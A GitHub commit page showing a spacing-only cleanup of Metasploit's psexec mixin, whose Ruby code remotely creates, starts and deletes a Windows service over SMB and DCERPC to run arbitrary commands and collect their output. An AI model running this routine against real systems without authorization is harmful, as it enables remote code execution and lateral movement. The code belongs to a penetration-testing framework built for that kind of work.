Skip to content

Commit 8162512

Browse files
Royce DavisRoyce Davis
authored andcommitted
Cleaned up some code spacing
1 parent a2f66a8 commit 8162512

File tree

1 file changed

+4
-14
lines changed

1 file changed

+4
-14
lines changed

lib/msf/core/exploit/psexec.rb

Lines changed: 4 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,7 @@ module Exploit::Remote::Psexec
1313
include Msf::Exploit::Remote::DCERPC
1414
include Msf::Exploit::Remote::SMB
1515

16+
1617
# Retrives output from the executed command
1718
# @param smbshare [String] The SMBshare to connect to. Usually C$
1819
# @param ip [IP Address] Remote Host to Connect To
@@ -21,7 +22,6 @@ module Exploit::Remote::Psexec
2122
# @return output or nil if fails
2223
def get_output(smbshare, ip, file)
2324
begin
24-
print_status("Getting the command output...")
2525
simple.connect("\\\\#{ip}\\#{smbshare}")
2626
outfile = simple.open(file, 'ro')
2727
output = outfile.read
@@ -42,14 +42,11 @@ def get_output(smbshare, ip, file)
4242
# @param command [String] Should be a valid windows command
4343
# @return true if everything wen't well
4444
def psexec(command)
45-
4645
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
47-
4846
handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
4947
vprint_status("#{peer} - Binding to #{handle} ...")
5048
dcerpc_bind(handle)
5149
vprint_status("#{peer} - Bound to #{handle} ...")
52-
5350
vprint_status("#{peer} - Obtaining a service manager handle...")
5451
scm_handle = nil
5552
stubdata =
@@ -63,16 +60,13 @@ def psexec(command)
6360
print_error("#{peer} - Error: #{e}")
6461
return false
6562
end
66-
6763
servicename = Rex::Text.rand_text_alpha(11)
6864
displayname = Rex::Text.rand_text_alpha(16)
6965
holdhandle = scm_handle
7066
svc_handle = nil
7167
svc_status = nil
72-
7368
stubdata =
7469
scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) +
75-
7670
NDR.long(0x0F01FF) + # Access: MAX
7771
NDR.long(0x00000110) + # Type: Interactive, Own process
7872
NDR.long(0x00000003) + # Start: Demand
@@ -96,18 +90,15 @@ def psexec(command)
9690
print_error("#{peer} - Error: #{e}")
9791
return false
9892
end
99-
10093
vprint_status("#{peer} - Closing service handle...")
10194
begin
10295
response = dcerpc.call(0x0, svc_handle)
10396
rescue ::Exception
10497
end
105-
10698
vprint_status("#{peer} - Opening service...")
10799
begin
108100
stubdata =
109101
scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF)
110-
111102
response = dcerpc.call(0x10, stubdata)
112103
if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
113104
svc_handle = dcerpc.last_response.stub_data[0,20]
@@ -116,7 +107,6 @@ def psexec(command)
116107
print_error("#{peer} - Error: #{e}")
117108
return false
118109
end
119-
120110
vprint_status("#{peer} - Starting the service...")
121111
stubdata =
122112
svc_handle + NDR.long(0) + NDR.long(0)
@@ -128,7 +118,6 @@ def psexec(command)
128118
print_error("#{peer} - Error: #{e}")
129119
return false
130120
end
131-
132121
vprint_status("#{peer} - Removing the service...")
133122
stubdata =
134123
svc_handle
@@ -139,19 +128,18 @@ def psexec(command)
139128
rescue ::Exception => e
140129
print_error("#{peer} - Error: #{e}")
141130
end
142-
143131
vprint_status("#{peer} - Closing service handle...")
144132
begin
145133
response = dcerpc.call(0x0, svc_handle)
146134
rescue ::Exception => e
147135
print_error("#{peer} - Error: #{e}")
148136
end
149-
150137
select(nil, nil, nil, 1.0)
151138
simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$")
152139
return true
153140
end
154141

142+
155143
# This method is called by file_dropper to remove files droped
156144
# By your module
157145
#
@@ -166,6 +154,7 @@ def file_rm(file)
166154
psexec(delete)
167155
end
168156

157+
169158
# This method stores files in an Instance array
170159
# The files are then deleted from the remote host once
171160
# the cleanup_after method is called
@@ -178,6 +167,7 @@ def register_file_for_cleanup(*file)
178167
@dropped_files += file
179168
end
180169

170+
181171
# This method removes any files that were dropped on the remote system
182172
# and marked with the register_file_for_cleanup method
183173
def cleanup_after

0 commit comments

Comments
 (0)